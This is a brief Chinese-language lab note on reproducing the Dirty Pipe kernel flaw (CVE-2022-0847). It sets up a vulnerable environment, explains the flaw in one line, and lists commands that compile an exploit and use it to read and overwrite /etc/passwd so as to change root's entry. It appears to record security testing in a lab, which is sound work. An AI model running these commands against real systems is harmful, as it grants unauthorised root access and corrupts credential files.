安装环境
./metarget cnv install cve-2022-0847 --verbose
原理
同脏牛,通过写只读内存,对映射的内存做篡改
EXP
docker run --rm -it -v $(pwd):/exp --cap-add=CAP_DAC_READ_SEARCH ubuntu
如果提示 Unknown capability to add: "CAP_CAP_DAC_READ_SEARCH"错误则运行下列命令
docker run --rm -it -v $(pwd):/exp --cap-add=DAC_READ_SEARCH ubuntu
gcc dp.c -o dp
读系统文件:/exp/dp /etc/passwd
写系统文件 /exp/dp /etc/passwd 1 ootz: